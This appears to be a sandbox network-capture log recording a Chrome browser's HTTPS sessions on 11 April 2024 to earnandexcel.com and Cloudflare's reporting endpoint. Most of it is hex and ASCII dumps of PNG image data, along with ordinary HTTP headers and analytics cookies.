0b 0b f5 18 66 a6 06 41 15 28 2d 2d 95 fc fc 7c c9 ce ce 96 b4 b4 34 c9 Data Ascii: PNGIHDR_KC!%IDATxkVKKVDQ+(T*bGE%{30\|'B.dSwgM;544jVSS#uuu^V__118vfw+++ykYk'IVQQA_fN<w\`J0hMCJAfA(--\|4
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 0f 58 cb 21 97 51 d0 30 77 03 a9 9b ec 03 1e 80 13 b2 a1 76 fc ad f6 6d 6f 1e 9a ff 6c c0 60 a5 64 56 f1 bb 75 eb 86 53 92 7c bb 1b 26 29 05 f3 9c 44 9b 50 8b fc 04 27 c6 99 69 80 42 e3 1c 70 78 ce 38 84 6a a8 91 2a 4f 46 46 06 8e 6a ca 66 ce ab 61 de d2 a5 4b 59 bc 04 12 fa d3 97 3e 2e 7c 06 0e 30 51 85 e3 77 e8 f9 96 2d 5b 58 33 02 ea d0 5d d3 18 55 b8 b1 63 c7 4a f7 ee dd 59 70 d5 bf d7 9b 87 26 d4 5c c7 37 47 25 2c 71 ab 49 ac c8 13 c6 50 75 da be 7d 3b 95 2b 37 6c b3 52 33 b3 3f 0e 4d d8 45 35 0d 67 06 0e 1c de 42 32 20 e1 68 ef 71 ce 76 1a 75 f6 e3 c7 8f 53 48 70 15 8e c5 50 c6 01 16 c2 3b d6 5e e8 0b 20 f4 b7 fc 88 73 be 43 e3 9c 7b 3c 53 68 c6 8d 1b 47 f8 a5 d0 1e 3e 7c 98 fc 85 10 2e 22 7f 21 cc e4 fd 0e 1d 3a 50 a6 d6 50 14 33 90 9d bc ca 2f 8e Data Ascii: X!Q0wvmol`dVuS\|&)DP'iBpx8j*OFFjfaKY>.\|0Qw-[X3]UcJYp&\7G%,qIPu};+7lR3?ME5gB2 hqvuSHpP;^ sC{<ShG>\|."!:PP3/
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: fd f7 05 7a bd 3a 4f 80 54 96 f7 c5 a0 67 a5 d4 3e 3b db 8d 82 c6 66 d6 27 24 82 89 72 c8 3a af cc 00 40 22 28 99 30 8e 8d 02 ce 8f c9 19 0f 24 84 31 c1 fc ee bb ef 54 63 ca 7c fe 0b fb 84 da 16 07 52 b4 06 3c 99 8b f9 2d 8d 0b 34 c6 eb 1a be 37 36 70 3a 77 3a e7 f2 e2 7e fa e9 27 66 d9 a4 85 65 01 00 bc 73 8d 53 60 35 13 d0 fb 19 4c 05 50 5a 8c 69 da 10 18 34 f9 77 34 68 e0 df 2c 5a 26 dd 89 e5 dc 32 68 08 13 50 a8 a8 dc 9d 28 5f bf 7e 6d 26 46 c9 36 bb 13 da d8 29 42 cb 2c 03 9c 9c f8 04 de cc 4e b8 f8 08 77 7f 67 d2 24 c8 3f ff fc b3 d9 5c c6 81 99 1b 68 32 d1 8c 4f 8b 00 0a 0d 37 af e9 3d 7a 18 68 98 4c 05 5e cb 1f bb bb e6 87 1f 7e c8 df a9 79 47 d7 73 8e f1 dc 23 f3 31 b2 c1 fd 67 9a d1 38 ce b5 33 27 5d 93 bf d5 7d 63 d1 04 76 5d fb be 2a cf c3 b0 Data Ascii: z:OTg>;f'$r:@"(0$1Tc\|R<-476p:w:~'fesS`5LPZi4w4h,Z&2hP(_~m&F6)B,Nwg$?\h2O7=zhL^~yGs#1g83']}cv]*
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: b6 f1 de 35 c5 8a 90 10 7c 0d da a1 04 d3 92 33 7d 16 18 1e c1 9e cd 6c ed 99 a5 80 d4 28 fe c3 d7 41 89 33 25 33 51 4f 55 e7 2d 80 26 e1 8a 6a e6 18 4b 07 e9 18 4b 59 48 15 c9 c4 32 5b 73 d6 77 d9 f2 d6 3a 66 6e a0 a1 01 f8 10 fc 8b 7d cd 5e 33 b9 f2 61 e4 9c 39 8f 80 d3 7c 40 14 25 ee 7b 82 08 24 39 e4 45 e1 99 96 8e 5d 1b ed 26 7a cf 31 2f 55 a6 fe 67 55 92 96 cd 1c 21 f0 18 22 a0 e4 d4 7c 2a f7 64 e2 01 12 13 81 df c7 b8 7e bf e8 e8 a3 6d ae 19 34 4c 97 b5 a2 31 96 8a 70 01 46 02 cd 47 e0 b4 37 53 4a 76 34 1b cf 42 b0 1c e9 4c a5 62 18 8e 43 c7 fa 9c 6d 5f 83 c1 c9 6e 11 b0 3e 53 4e 5d 77 4c e0 35 53 03 ed f4 71 98 65 fc 1f c0 a9 63 27 c2 81 60 96 45 bc 7d 88 28 74 e6 9b fb 29 73 d9 f8 51 e7 81 be d7 4a 19 ea 4f 50 4c 8a 66 ab 4e c8 f9 ee d5 f7 28 71 Data Ascii: 5\|3}l(A3%3QOU-&jKKYH2[sw:fn}^3a9\|@%{$9E]&z1/UgU!"\|*d~m4L1pFG7SJv4BLbCm_n>SN]wL5Sqec'`E}(t)sQJOPLfN(q
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 2e e2 43 97 97 26 84 c1 33 ae e7 c3 d6 1d d0 5c 3b 68 f2 53 2a 37 46 a3 32 47 08 1b 53 2d 27 5a f6 2e 73 68 d0 c3 d3 29 b7 d0 52 b9 68 09 56 a0 99 82 e6 35 1f 27 b3 89 70 13 de cd 6a 45 77 27 88 40 4d eb 01 4c 35 3c ce 57 52 bc 63 4f d2 6e f8 30 ae c3 54 a4 19 9c e3 3e c5 7e ca 84 98 e7 a8 79 41 22 14 a4 6c 02 b8 b4 44 47 9f 03 83 40 e6 5e 61 9a a9 58 73 42 5a 53 dc cb 7d 7a 8e 7e bf 93 7f 76 0b a0 69 91 56 e6 8f 7f b2 59 dd 3f 1d 0b 54 32 24 1f c1 31 8b 99 aa a6 85 36 69 01 a6 fa 83 01 49 29 f7 69 1b da c5 ce 8c c9 6f d9 63 12 70 df cf 32 61 a0 a1 95 8c 55 97 9b a9 01 8b 21 a5 c1 00 06 78 38 f0 b2 1a a6 f9 b6 29 eb 59 4b 94 3f 13 13 18 68 6a c4 5e da 90 a0 a5 ac 66 93 cd 04 01 b6 11 65 ef f7 53 46 c1 4f e3 fb 9d 95 a1 6f 01 34 c0 b2 ca 6f 05 1c 45 b5 33 Data Ascii: .C&3\;hS*7F2GS-'Z.sh)RhV5'pjEw'@ML5<WRcOn0T>~yA"lDG@^aXsBZS}z~viVY?T2$16iI)iocp2aU!x8)YK?hj^feSFOo4oE3
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: f0 6c 69 0c af 4c 45 c7 62 df 5c af 8d 79 05 4c 8e eb da 13 e8 34 9a cc 85 bd d5 70 f1 e3 8f 3f d6 af 6d 06 68 f3 69 8e e6 b9 66 d0 f8 07 2e 0a ba 99 92 30 99 29 13 62 31 9c cc 2e 8e 70 51 f7 40 93 20 b6 8c c6 b6 e5 09 6c 39 6a c6 29 93 38 47 dc 38 a2 fe b3 76 47 5a 0c 5f 07 d0 32 93 ca a2 36 96 20 a4 99 3c f0 17 63 49 1b 39 97 1f 14 d8 8b 31 95 65 4d 23 b5 6a 5a d7 2c d8 4a 0b a5 8d dc 6f cf d7 3d fb 8e d9 ba b3 bf 99 66 8e a5 69 f8 3b be db 13 d3 29 0d b8 66 d0 cc fc b3 28 e7 b2 8c cd e6 04 8c 86 c8 4c 02 a2 d2 66 02 0d 81 0a 34 d9 fa 04 5a 4a 0c 3f 22 30 8a c9 10 d0 2a 24 2b 11 a8 3b a5 59 79 97 55 8b 79 60 f2 32 0d 5d b7 a5 ce 09 3c 8d c7 84 44 8f 4f 73 53 20 94 e6 0a 6c 35 48 77 6f ce cf 1f 93 3f 06 14 15 dd 65 16 ba 2e 2d 53 59 01 c0 d5 3b a0 49 c2 Data Ascii: liLEb\yL4p?mhif.0)b1.pQ@ l9j)8G8vGZ_26 <cI91eM#jZ,Jo=fi;)f(Lf4ZJ?"0*$+;YyUy`2]<DOsS l5Hwo?e.-SY;I
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: a6 2a 8d b6 5f 12 de 5a 42 95 a7 96 43 3e db cb b6 3e 66 0c 5b 1a e3 b1 4b 9a 4f 70 95 b1 ed b3 e2 32 65 5e cb 31 ab de a8 76 b3 7c 3c 66 a9 44 d0 9d 96 74 b2 9a 9f 32 68 e6 3f 7f 2e c0 c4 1c fb e8 a3 8f 38 d7 ba 71 ce a6 11 12 3b cd f6 f9 2d 84 af ae 34 cd ee d3 ef d9 9a a6 dd 31 99 5c 00 94 29 95 99 37 ff f6 5a bf e6 b4 da db 40 03 18 01 ba f1 e6 35 8d 81 8d 13 93 9a 3e 8c fa 18 c7 b4 4a 81 67 4e bb 1c 0d 73 40 73 b1 8f 40 ef c5 54 c4 25 38 ff 05 f3 02 0e 73 8d 69 43 20 05 2a ed 95 14 94 47 96 d3 bf fd 9a 40 43 68 d3 20 ce 2d 49 32 5f a4 f6 b0 18 b2 4a 0e 3a ce b8 6f 03 4d 35 3a c6 71 5f 7c 96 4c 3d 3b c0 88 51 79 16 26 59 49 ab fc 17 9a 56 6c 87 e6 4d 23 03 d4 69 6e 7e 40 73 d9 3e 27 14 05 38 f9 10 9f 7e fa 29 1f a6 6e 33 73 93 e9 4c c8 50 ca ec 7f c2 Data Ascii: _ZBC>>f[KOp2e^1v\|<fDt2h?.8q;-41\)7Z@5>JgNs@s@T%8siC G@Ch -I2_J:oM5:q_\|L=;Qy&YIVlM#in~@s>'8~)n3sLP
2024-04-11 21:26:50 UTC	101	IN	Data Raw: 31 8f f7 9a 86 39 a0 79 78 3b a0 79 df b7 b4 ca aa 49 49 f3 bc 2b 63 d5 22 b7 f7 81 eb 80 e6 81 ed 80 e6 0a b6 a1 51 1e 03 16 c7 3d fe f8 cb d7 3b a0 b9 7f 3b a0 79 5f 37 9a 20 0d f3 08 4d d4 f1 fe de f5 3d 1b 50 8e 9d c7 1f d0 bc 87 db 7f 00 07 79 13 fd e7 5b ee ef 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 19yx;yII+c"Q=;;y_7 M=Py[IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.17	49919	35.190.80.1	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	541	OUT	OPTIONS /report/v4?s=0jsk9y6j9jpUphVcZ0a%2BhKxpb7DRP9iKiF183vAJPiMK4uc6YQ3KdKcX9RdKNHID5rR4MXL4WgJt%2FsfLMy%2Fy0LoIQFauGGnGUiUr5%2FPB3G945cDKoyoKh87uTjV%2FeY4NkmU%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://earnandexcel.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:50 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 11 Apr 2024 21:26:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.17	49920	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1247	OUT	GET /wp-content/uploads/kiran.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	908	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 149917 Connection: close CF-Ray: 872e0ea33fe57ce2-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff606-2499d" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:30:46 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ezQP3qvHbWxMoGvxfywtYbqcwZoc2gk81UybruKXrM3Zm%2FBoqO4Xm65tBEZ2UOF%2FyusaJZubOAN%2BjpuIfXLiCIGX2hWWhdOt1yLZz5dmUpj5jocGJr%2Fvcy2JzgMhGmOTiDg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	461	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 bc 00 00 02 eb 08 03 00 00 00 2b ef a4 3e 00 00 03 00 50 4c 54 45 10 09 0e 17 0d 0f 0e 06 08 20 18 18 01 01 04 1f 12 17 07 04 09 1d 0f 11 07 0a 0d 27 19 19 28 20 22 0f 10 10 30 26 26 19 11 15 08 02 03 13 07 09 2b 1e 1d 25 19 1e 2d 22 25 30 21 20 fb fd fc 1a 09 0b 25 1f 20 1f 1d 1e 39 28 26 30 41 39 44 5f 52 31 29 2a 18 1a 19 e0 c0 a8 23 0f 0c 2c 3b 32 28 27 26 3d 2f 2e 39 23 20 4e 69 60 29 15 11 39 2a 2d 28 2f 2a 44 2e 28 3a 54 48 47 65 59 e2 c3 ae e7 cb bc 67 69 67 de bb a2 3c 4d 46 c4 83 67 32 1b 17 86 82 81 40 28 26 46 3b 33 da b1 96 d6 a6 89 32 47 41 d8 ab 8f e4 c7 b5 0b 1b 12 3d 47 40 2c 34 2e 45 54 4d 45 4f 44 84 8a 8e 47 42 3e 7a 94 85 d0 99 7c 44 34 2e 4e 5c 4d 1e 28 22 bf 7c 60 3b 43 39 5f Data Ascii: PNGIHDR+>PLTE '( "0&&+%-"%0! % 9(&0A9D_R1)#,;2('&=/.9# Ni`)9-(/*D.(:THGeYgig<MFg2@(&F;32GA=G@,4.ETMEODGB>z\|D4.N\M("\|`;C9_
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: a0 c2 b6 ad c9 c0 5f 59 5a 7f 47 31 d5 e4 e0 9c 5a 43 73 67 5d 70 4a 3b 96 92 91 5f 61 62 5d 5e 50 ec d5 cb a6 c8 be 6a 61 54 8a 8d 8d 40 1f 14 b1 aa a7 4e 48 4a 6a 6f 70 a9 c3 b7 a1 bc af 71 95 89 9d 63 52 9e 97 95 60 48 3d 90 a8 98 be 6f 59 7f 84 88 82 79 6e ef da d3 55 51 53 8f 4f 3a a5 9a 90 79 7e 80 69 8d 81 9b b6 a7 cf df da bf d5 ce 79 73 61 8e 80 78 76 82 72 95 bc af 95 af 9f 7d 87 79 c1 8b 75 94 99 a0 c7 da d4 b6 d1 ca b1 a3 9a 7e 54 45 84 8f 81 7b 9a 9f 8d 5c 4e 96 b4 b3 6c 59 47 72 91 95 c5 95 80 70 77 79 83 b1 a3 b7 61 4e 94 3e 2b a1 74 65 ae 54 41 8e 6a 61 b3 80 6d 66 87 8c a4 46 36 48 68 70 8d 64 27 9b a0 a5 81 2f 20 cb a1 8b 0c 38 21 88 a6 a9 53 74 78 bb ce c6 a3 78 2f a4 a8 ad 0c 4d 2c b0 8d 46 4d 4f 65 26 1b 31 8b 78 47 55 87 74 cf ae 9d Data Ascii: _YZG1ZCsg]pJ;_ab]^PjaT@NHJjopqcR`H=oYynUQSO:y~iysaxvr}yu~TE{\NlYGrpwyaN>+teTAjamfF6Hhpd'/ 8!Stxx/M,FMOe&1xGUt
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: dd 87 80 b7 ff dd a6 84 86 e6 de 77 c5 77 4b 78 37 56 ce bb 21 63 04 ec 6a 8b 93 3e e4 04 2b bf db ba b7 b9 f1 a2 3a bb ca 6d 2a 11 ae 97 b4 1e 10 a4 0c 5f 37 db 1d c7 77 04 b2 66 c1 f9 e6 52 0d 61 d7 2c d5 d9 bd 7f db fd 0c f9 67 6a c4 9f c9 f0 4d 79 1a 0a 74 dd 7d 03 dd 46 6f 3f 25 ec 1a b9 c1 2e e8 4e 17 e4 aa df d2 03 5a 87 b5 ac 57 68 14 ec ba dc 78 c3 75 c1 16 6e 15 5d 2d c8 a5 29 ba e9 bb e8 a4 18 ef 49 4e 26 95 2a e0 74 2c 91 9a af bd 47 c7 1b d0 8b f5 1e aa e8 b5 6b f0 de 1b 57 14 5f e0 3d 97 e4 26 bb 34 24 f0 12 4d 84 dd 33 87 26 06 5e 01 5d 34 6c f0 6e 7f ed c3 a3 1d 09 af e4 85 8f 2f 5e bc 70 f1 22 b6 7b d1 62 03 b9 e1 44 c1 ee 97 e6 b4 9f 6a 71 1a b1 81 12 7a e7 f7 8f 35 f6 ac 0b 2f 74 02 ef 98 c0 3b 7c 69 70 66 28 e1 4d 76 9d 5e 49 0e 34 92 Data Ascii: wwKx7V!cj>+:m_7wfRa,gjMyt}Fo?%.NZWhxun]-)IN&t,GkW_=&4$M3&^]4ln/^p"{bDjqz5/t;\|ipf(Mv^I4
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ee bc e7 e7 df 3a 0f ba b8 ee f9 25 19 51 4e da 2c 3a 50 23 5a c8 c7 05 73 de 7f b1 de 8d b2 d8 70 1d 76 87 07 1d de 8d 6d e1 bd 9b 3f 94 20 bc c1 57 cc 88 0b 06 ef 7d 15 bb 7d b0 8b c7 05 bc 10 c2 f2 95 a1 ab 4a c6 0a 74 0d a3 5e b5 43 06 53 9e 27 be 88 7c 20 f2 e0 01 bf 9e 79 ad 54 f2 3e 7a 46 87 c8 0e f5 18 ee cb 12 bd c1 af e1 8b 1a 92 79 29 69 f2 90 23 f8 8e ca 22 6f 03 e3 55 e7 dd ee f0 ba 92 5e c0 2d e3 6e b2 8b 95 86 02 5f 34 e1 89 01 7c 8b d0 10 ab 61 15 b9 a7 40 57 99 b5 c1 02 83 db ae 1a ef 4d 71 de 39 e0 9d ba 71 e3 2c 70 41 6f e4 5e 08 d5 d0 1b ce eb 7c 07 d6 20 2b 32 78 a1 17 7e 55 4e 31 99 84 26 f2 db 20 ba a0 c1 8f b7 15 32 83 97 d4 f0 da 87 1f 1e 6d 81 d7 e8 25 ee 1a bb 2e 4e 9c 5d 84 ef 7e 49 74 70 c1 ef a7 23 b7 68 23 c6 af 5b ef d0 b6 Data Ascii: :%QN,:P#Zspvm? W}}Jt^CS'\| yT>zFy)i#"oU^-n_4\|a@WMq9q,pAo^\| +2x~UN1& 2m%.N]~Itp#h#[
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 78 0b 76 15 d9 fb e2 e6 9a ef 0c 80 c5 2d 49 8d d1 92 73 27 3b 42 8a 76 ec 96 67 5c 05 ba 25 be ee 9a e1 bd 68 46 76 4c 3e c3 76 4a a3 37 62 03 2d a5 b8 9a e2 75 03 38 a9 f6 eb 8b cd 9c b8 ec 71 50 45 db b5 d1 b7 d3 a8 31 5d 6d c8 d4 bb ff c5 ba ef 2e bf 0e be c9 ee 92 6c 73 94 c4 0b bc b3 57 d9 1b 90 f4 a2 23 4a 2e 84 fb 7d e1 72 ba 06 bb c0 4b 25 bb 89 af 4b d9 a5 a7 f1 82 9d d3 2b 00 87 f3 5a 3b 28 e6 cb 28 01 c0 78 e6 67 03 7d 4c d5 34 f7 3a bb b6 18 4c e7 44 1f 58 16 d9 19 b6 bb 4b d1 65 a0 01 af ea 28 ee 0b bb 0a af b1 8b 30 de 6b 4b d7 56 90 65 86 a5 95 13 b5 d0 2b 0e 6b 0d 17 a6 68 23 74 8e 66 bd 4e 6f bf d2 5b 6a 4f 44 de 4b 63 43 cc d7 d6 4d 0d 82 6e 46 de 0c bc 94 b0 6b 00 a3 3f 40 57 f9 d5 fc 68 21 d3 27 ff 38 6b 21 25 d6 6e 10 94 ec 3a bf be Data Ascii: xv-Is';Bvg\%hFvL>vJ7b-u8qPE1]m.lsW#J.}rK%K+Z;((xg}L4:LDXKe(0kKVe+kh#tfNo[jODKcCMnFk?@Wh!'8k!%n:
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 3b e1 ad bc 57 d5 1e de 5c 25 e3 b3 13 66 bd 72 65 58 af d3 8b 9c de 27 a8 8a 5d e0 15 bd f8 08 ec da 0c 4e f7 a2 43 2f f8 be 36 fa 1a 7a e9 11 b6 44 3a bc 44 5e 45 37 50 54 7c 19 c3 79 c3 5f 43 e3 f2 54 14 2f 28 bc d0 fb 96 ae 98 41 af a2 8b 74 95 57 9c f7 92 a6 86 56 e3 25 2e 58 37 74 db f8 ae 9d fc d1 b7 99 00 c1 c1 9f 05 65 b3 5e c1 37 f7 68 a1 cd a8 05 dd 7c 68 e9 38 c0 45 5d 69 bb a1 b8 d5 bb 35 a3 83 a8 06 af e2 9b 04 33 04 ba bc 90 f8 52 bc 28 af 58 f7 67 69 5c 83 80 57 d9 35 70 19 f5 e8 6a 9f 76 97 13 5d 3c 17 72 97 48 bc eb 3b 2f b9 01 39 bb b1 ce 90 ec aa f3 a2 d8 d3 a0 e4 2e 3a be 82 2e dd 9a b0 ac f0 aa 81 86 ce ae c7 2e 8f 8d 5d 85 77 f1 fb af b1 5e e0 6d 4b 6f dc 66 0e db 85 5d 87 77 58 d1 d5 97 d3 7b 5d c7 5e da 09 bc cb d0 4b 6a d0 d8 f0 Data Ascii: ;W\%freX']NC/6zD:D^E7PT\|y_CT/(AtWV%.X7te^7h\|h8E]i53R(Xgi\W5pjv]<rH;/9.:..]w^mKof]wX{]^Kj
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: a5 ec 3f 8b d0 60 f0 da df 81 ae c0 97 66 37 21 bc a1 64 57 d4 0e e2 b4 dd c7 f1 5d d8 55 78 f7 ba f1 a6 5e d7 9a d7 0e b8 25 b9 c2 aa 6b c1 0a e7 65 b4 e5 86 a0 77 56 e5 f0 12 18 00 37 8d b7 4e 2e a5 aa 39 6f ba 6e 72 4b a3 04 dd 93 69 9b a9 e4 55 0f 7e 2e 3f 11 df fd fe dc 27 9f c8 87 dc 35 37 dc 99 98 b8 63 0b 0e b1 74 a1 f0 46 ec 0d 7a 6b ec de 40 ec 36 2b 83 31 ec 06 bc d0 eb a1 f7 a9 ef 04 5d 08 5e a5 19 bf e6 b9 78 af 27 5e 8c b7 39 2c f4 ea bc 41 04 b6 71 47 19 89 f3 1e 50 7a 87 07 c7 1e de ce de d4 41 9f ae 91 82 cb d4 a0 e8 32 04 bc c9 6e fa ae 3f b4 2d 3a 8c c6 a9 f5 f0 de 08 bb 0e 6f a6 5f c4 d8 1d 8a 7b 14 ff 4a 6c 4d 5b dd 7b 37 ab ba ea f8 a6 df 4a 25 ba 8f 6a d9 15 05 c2 78 ee e3 3b a4 60 17 e3 b5 cc 3b bd 77 3a e9 85 d6 79 19 2e ce bb 82 Data Ascii: ?`f7!dW]Ux^%kewV7N.9onrKiU~.?'57ctFzk@6+1]^x'^9,AqGPzA2n?-:o_{JlM[{7J%jx;`;w:y.
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e9 7b d0 35 76 13 5e 56 1b ee 1c 66 36 16 f4 66 70 80 4a 2a f8 15 05 bb fe e7 0b 7c b1 5f 91 42 3d b7 a1 c1 22 39 f0 e6 94 ed 96 3b af a0 4b 7f 41 c8 a5 64 58 8a c8 bb 9d 15 84 c1 0a 5f f8 75 0d c0 b0 95 08 e3 bd f0 31 f4 ea 1d 8a c1 ed 3a 5f 13 7a 73 b6 56 7c f5 7f 7e ee 27 e7 6a 21 03 57 09 36 f9 8e 87 32 36 c8 f3 9b b3 a4 19 bb 28 d8 95 d8 20 4e d9 a0 5c 6b dc 36 51 a6 a3 ee ae 2e df ff 03 b7 91 1c d8 16 e1 5a 07 62 bc 17 74 1f 6d cd bc b8 6e 61 bc d3 6f 80 ef fb cb 28 7c 57 ec 36 95 69 f7 16 ca f9 18 70 1a bd 58 2e a5 b3 b6 71 a5 d7 d8 85 e2 11 67 d7 d7 cb a4 42 8a 09 7c 8c 43 47 de c8 95 9c 5a 59 ef f7 b7 01 50 b5 d8 12 1e a8 35 f2 4b cf 69 b9 ce 39 bb 1f b8 f1 be 77 ea c6 9d 9d 4f b0 d3 11 7a 75 c9 41 ee 49 23 dd 1f 19 8a 68 a0 5b 2d 8d 5d 53 f0 8b Data Ascii: {5v^Vf6fpJ*\|_B="9;KAdX_u1:_zsV\|~'j!W626( N\k6Q.Zbtmnao(\|W6ipX.qgB\|CGZYP5Ki9wOzuAI#h[-]S
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 5f 63 8c 11 1e 0c df e0 37 0d 58 f9 fd 58 22 ef f5 80 97 a5 b2 3d c0 57 6d 82 24 34 48 e3 d7 56 49 e9 79 4e db 90 b1 cb b3 da 52 5c 64 d1 97 21 36 3b 58 10 be 07 25 bd 09 af 90 8b 1a 41 ad 97 a0 ca e8 cf ae 1f 79 0b 7c f3 2e b1 41 ab e7 99 83 ef 17 ad b5 df fa 2d b6 9a f3 42 ef de 37 64 a9 32 8d 97 e2 b3 af 81 6e c2 5b f9 ae 6d 36 a7 89 94 de 88 0e 94 9d 21 c3 37 ee 0e 07 bb 3b 0b 05 bc d0 6b ec da 4c 0d 65 60 10 37 55 1e 83 5e 8a 85 88 08 17 e7 50 85 ae 0b 80 13 5f 0f 0d e2 db a7 6e 1c d6 d4 f0 eb af c7 8e fd ce 27 21 1e d9 39 a1 d6 2b fc 1a ba 8b f4 00 38 95 30 e3 ba a7 90 4f e0 e6 36 74 3f 13 d6 ab b9 41 e1 d5 4f 03 a1 6b d7 c4 70 11 f8 d2 e6 f9 76 12 e0 95 df 77 c9 ef a6 82 a2 3d 81 ef 9a df 16 76 7d ff 69 f5 5f 5b 29 bb 24 f0 ea 3a 2f ef 4a f3 b5 a9 Data Ascii: _c7XX"=Wm$4HVIyNR\d!6;X%Ay\|.A-B7d2n[m6!7;kLe`7U^P_n'!9+80O6t?AOkpvw=v}i_[)$:/J
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 37 62 c3 67 d9 e7 16 da f8 fe c6 20 78 13 fc 72 a1 32 5f d9 6f 38 ef 80 d5 54 9e 1b 34 bf 21 c0 75 e7 dd fc 14 ec 72 31 49 3a f4 fa fa 53 67 7d 33 a7 9d 96 a1 b7 ce 1c 05 5b 93 9f f5 ce 4c 34 0b bd 16 1c a0 57 12 bb 4b 6a 1b d3 52 f8 e6 f9 c4 9e 79 07 05 2f e6 ab 4e 32 e0 8d 53 28 93 dd b2 5d b1 ab d8 10 bf d0 49 fc 4e 95 f1 52 69 4c 22 da 6e 64 db e5 75 00 f8 06 bd 3e 4b 72 2e a7 a3 27 bc 48 b3 52 11 3b c6 c9 79 7d 86 0d be cb e5 fb 3f 72 51 fc 2a 7c 45 af 00 f6 be 85 73 0d 5f 67 d7 4f 41 35 76 1d dd 58 39 6e d6 5b ce 8b f1 8a dd 26 32 84 a3 52 3a 7a 2d bf 8a 5d 83 97 1f 0a 72 6f 49 f1 1a f8 42 6f cd 27 23 35 9c 4b 47 d9 f9 c0 9b 3a ff 3a fa ca 12 de 0e 5d a9 67 c2 48 f4 e6 74 08 e4 ce 2b 78 33 37 a4 f7 c2 ee 61 18 2f a2 32 dd 06 bb 2f 12 79 e3 8c 6c f0 Data Ascii: 7bg xr2_o8T4!ur1I:Sg}3[L4WKjRy/N2S(]INRiL"ndu>Kr.'HR;y}?rQ*\|Es_gOA5vX9n[&2R:z-]roIBo'#5KG::]gHt+x37a/2/yl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.17	49923	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
